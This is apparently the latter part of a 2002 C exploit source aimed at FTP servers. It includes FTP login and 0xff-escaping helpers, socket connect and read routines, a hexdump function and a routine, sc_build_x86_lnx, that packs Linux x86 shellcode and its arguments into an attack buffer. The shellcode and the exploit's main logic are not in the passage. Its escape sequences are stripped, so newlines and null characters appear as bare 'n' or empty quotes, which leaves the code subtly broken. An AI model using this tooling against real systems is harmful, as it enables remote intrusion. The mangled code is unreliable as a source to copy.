/* FTP is TELNET is SHIT.
 */

void
ftp_escape (unsigned char *buf, unsigned long int buflen)
{
        unsigned char * obuf = buf;


        for ( ; *buf != '' ; ++buf) {
                if (*buf == 0xff &&
                        (((buf - obuf) + strlen (buf) + 1) < buflen))
                {
                        memmove (buf + 1, buf, strlen (buf) + 1);
                        buf += 1;
                }
        }
}


void
ftp_recv_until (int sock, char *buff, int len, char *begin)
{
        char    dbuff[2048];


        if (buff == NULL) {
                buff = dbuff;
                len = sizeof (dbuff);
        }

        do {
                memset (buff, 'x00', len);
                if (net_rlinet (sock, buff, len - 1, 20) <= 0)
                        return;
        } while (memcmp (buff, begin, strlen (begin)) != 0);

        return;
}


int
ftp_login (char *host, char *user, char *pass)
{
        int     ftpsock;
        char    resp[512];


        ftpsock = net_connect (NULL, host, 21, 30);
        if (ftpsock <= 0)
                return (0);

        memset (resp, 'x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;

        /* handle multiline pre-login stuff (rfc violation !)
         */
        if (memcmp (resp, "220-", 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");

        if (memcmp (resp, "220 ", 4) != 0) {
                if (verbose)
                        printf ("n%sn", resp);
                goto flerr;
        }
        ftp_banner = strdup (resp);

        net_write (ftpsock, "USER %sn", user);
        memset (resp, 'x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;

        if (memcmp (resp, "331 ", 4) != 0) {
                if (verbose)
                        printf ("n%sn", resp);
                goto flerr;
        }

        net_write (ftpsock, "PASS %sn", pass);
        memset (resp, 'x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;


        /* handle multiline responses from ftp servers
         */
        if (memcmp (resp, "230-", 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), "230 ");

        if (memcmp (resp, "230 ", 4) != 0) {
                if (verbose)
                        printf ("n%sn", resp);
                goto flerr;
        }

        return (ftpsock);

flerr:
        if (ftpsock > 0)
                close (ftpsock);

        return (0);
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "n");

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


void
net_write (int fd, const char *str, ...)
{
        char    tmp[1025];
        va_list vl;
        int     i;

        va_start(vl, str);
        memset(tmp, 0, sizeof(tmp));
        i = vsnprintf(tmp, sizeof(tmp), str, vl);
        va_end(vl);

#ifdef DEBUG
        printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == 'n') ? "" : "n");
#endif

        send(fd, tmp, i, 0);
        return;
}


int
net_rlinet (int fd, char *buf, int bufsize, int sec)
{
        int                     n;
        unsigned long int       rb = 0;
        struct timeval          tv_start, tv_cur;

        memset(buf, '', bufsize);
        (void) gettimeofday(&tv_start, NULL);

        do {
                (void) gettimeofday(&tv_cur, NULL);
                if (sec > 0) {
                        if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
                                ((tv_start.tv_sec * 1000000) +
                                (tv_start.tv_usec))) > (sec * 1000000))
                        {
                                return (-1);
                        }
                }
                n = net_rtimeout(fd, NET_READTIMEOUT);
                if (n <= 0) {
                        return (-1);
                }
                n = read(fd, buf, 1);
                if (n <= 0) {
                        return (n);
                }
                rb++;
                if (*buf == 'n')
                        return (rb);
                buf++;
                if (rb >= bufsize)
                        return (-2);    /* buffer full */
        } while (1);
}


int
net_rtimeout (int fd, int sec)
{
        fd_set          rset;
        struct timeval  tv;
        int             n, error, flags;


        error = 0;
        flags = fcntl(fd, F_GETFL, 0);
        n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1)
                return (-1);

        FD_ZERO(&rset);
        FD_SET(fd, &rset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        /* now we wait until more data is received then the tcp low level
         * watermark, which should be setted to 1 in this case (1 is default)
         */
        n = select(fd + 1, &rset, NULL, NULL, &tv);
        if (n == 0) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1) {
                return (-1);
        }
        /* socket readable ? */
        if (FD_ISSET(fd, &rset)) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                return (1);
        } else {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
}


static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv)
{
        int     i;
        size_t  tl_orig = target_len;


        if (strlen (shellcode) >= (target_len - 1))
                return (-1);

        memcpy (target, shellcode, strlen (shellcode));
        target += strlen (shellcode);
        target_len -= strlen (shellcode);

        for (i = 0 ; argv[i] != NULL ; ++i)
                ;

        /* set argument count
         */
        target[0] = (unsigned char) i;
        target++;
        target_len--;

        for ( ; i > 0 ; ) {
                i -= 1;

                if (strlen (argv[i]) >= target_len)
                        return (-1);

                printf ("[%3d/%3d] adding (%2d): %sn",
                        (tl_orig - target_len), tl_orig,
                        strlen (argv[i]), argv[i]);

                memcpy (target, argv[i], strlen (argv[i]));
                target += strlen (argv[i]);
                target_len -= strlen (argv[i]);

                target[0] = (unsigned char) (i + 1);
                target++;
                target_len -= 1;
        }

        return (tl_orig - target_len);
}

// www.Syue.com [2002-05-14]